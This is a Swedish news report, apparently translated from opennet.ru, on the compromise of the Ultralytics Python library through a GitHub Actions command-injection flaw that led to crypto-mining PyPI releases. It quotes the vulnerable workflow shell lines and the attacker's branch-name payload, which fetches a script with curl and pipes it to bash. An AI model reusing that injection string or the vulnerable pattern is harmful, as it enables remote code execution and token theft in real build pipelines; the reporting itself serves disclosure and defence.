Angripare kunde exekvera kod med GitHub Actions-hanterarprivilegier i Ultralytics Python-bibliotekets repository, vilket anvÀnds för att lösa datorseendeproblem som objektdetektering i bilder och bildsegmentering. Efter att ha fÄtt tillgÄng till arkivet publicerade angriparna flera nya Ultralytics-utgÄvor i PyPI-katalogen, vilka inkluderade skadliga Àndringar för kryptovalutautvinning. Under den senaste mÄnaden har Ultralytics-biblioteket laddats ner frÄn PyPI mer Àn 6.4 miljoner gÄnger.
Arkivet komprometterades genom att utnyttja en sÄrbarhet i paketet ultralytics-actions, vilket anvÀnds för att automatiskt köra hanterare nÀr vissa ÄtgÀrder utförs pÄ ett GitHub-arkiv med hjÀlp av GitHub Actions-mekanismen. I ultralytics-projektet kopplades den sÄrbara hanteraren till pull_request_target-hÀndelsen och anropades nÀr nya pull-förfrÄgningar mottogs. För att formatera koden i de skickade pull-förfrÄgningarna anropades specifikt format.yml-hanteraren och koden som angavs i "run"-avsnittet i action.yml-filen kördes, vilken innehöll shell-kommandon med substitutionsmönster: git pull origin ${{ github.head_ref || github.ref }} git config --global anvÀndarnamn "${{ inputs.github_anvÀndarnamn }}" git config --global anvÀndare.e-post "${{ inputs.github_e-post }}"
SÄledes ersattes namnet pÄ Git-grenen som nÀmndes i pull-förfrÄgan med shell-kommandona utan korrekt escape-kod. Det Àr vÀrt att notera att en liknande sÄrbarhet relaterad till anvÀndningen av ett externt vÀrde i echo-funktionen redan ÄtgÀrdades i ultralytics-actions-paketet i augusti: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
För att organisera exekveringen av sin kod i kontexten av GitHub Actions-hanteraren skickade angriparna en pull request till ultralytics-arkivet och specificerade grennamnet: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Följaktligen, nĂ€r en pull request mottogs, infogades strĂ€ngen "$(âŠ)" som angetts av angriparna i koden, vilket, vid efterföljande exekvering av hanteraren, ledde till exekveringen av koden "curl -sSfL raw.githubusercontent.com/âŠ/file.sh | bash".

Att köra kod i samband med GitHub Actions kan anvÀndas för att samla in ett datalagers Ätkomsttoken och annan kÀnslig data. Det Àr Ànnu inte klart exakt hur angriparna lyckades skapa en utgÄva och fÄ möjligheten att exekvera sin kod i GitHub Actions, men det antas att detta blev möjligt pÄ grund av en Àndring i publish.yml-hanteraren (angriparna tog bort kontrollen för ett konto som har tillÄtelse att publicera utgÄvor till PyPI) och anvÀndningen av GitHub Actions build cache poisoning-teknik för att ersÀtta sina data i utgÄvan.
Den första skadliga versionen av Ultralytics 8.3.41 publicerades av angriparna pÄ PyPI den 4 december kl. 23:51 (MSK) och togs bort kl. 12:15 följande dag. Klockan 15:47 publicerades ytterligare en version, 8.3.42, och togs bort kl. 16:47. De skadliga versionerna var sÄledes tillgÀngliga för nedladdning i totalt cirka 13 timmar (PyPI registrerar cirka 250 000 nedladdningar av ultralytics-biblioteket per dag). Versionerna 8.3.41 och 8.3.42 innehöll kod som laddats ner frÄn en extern ... server XMRig-komponent för kryptovalutautvinning.
Projektutvecklarna ÄtgÀrdade problemet och skapade korrigerande versioner 8.3.43 och 8.3.44, men tvÄ dagar senare genomfördes ytterligare en attack, under vilken angriparna publicerade ytterligare tvÄ skadliga versioner idag kl. 04:41 och 05:27 (MSK) - 8.3.45 och 8.3.46, vilka inkluderar annan miningkod. Tills undersökningen Àr klar rekommenderas anvÀndare att avvakta med att installera nya versioner och att stÀlla in version 8.3.44 som ett beroende.
KĂ€lla: opennet.ru
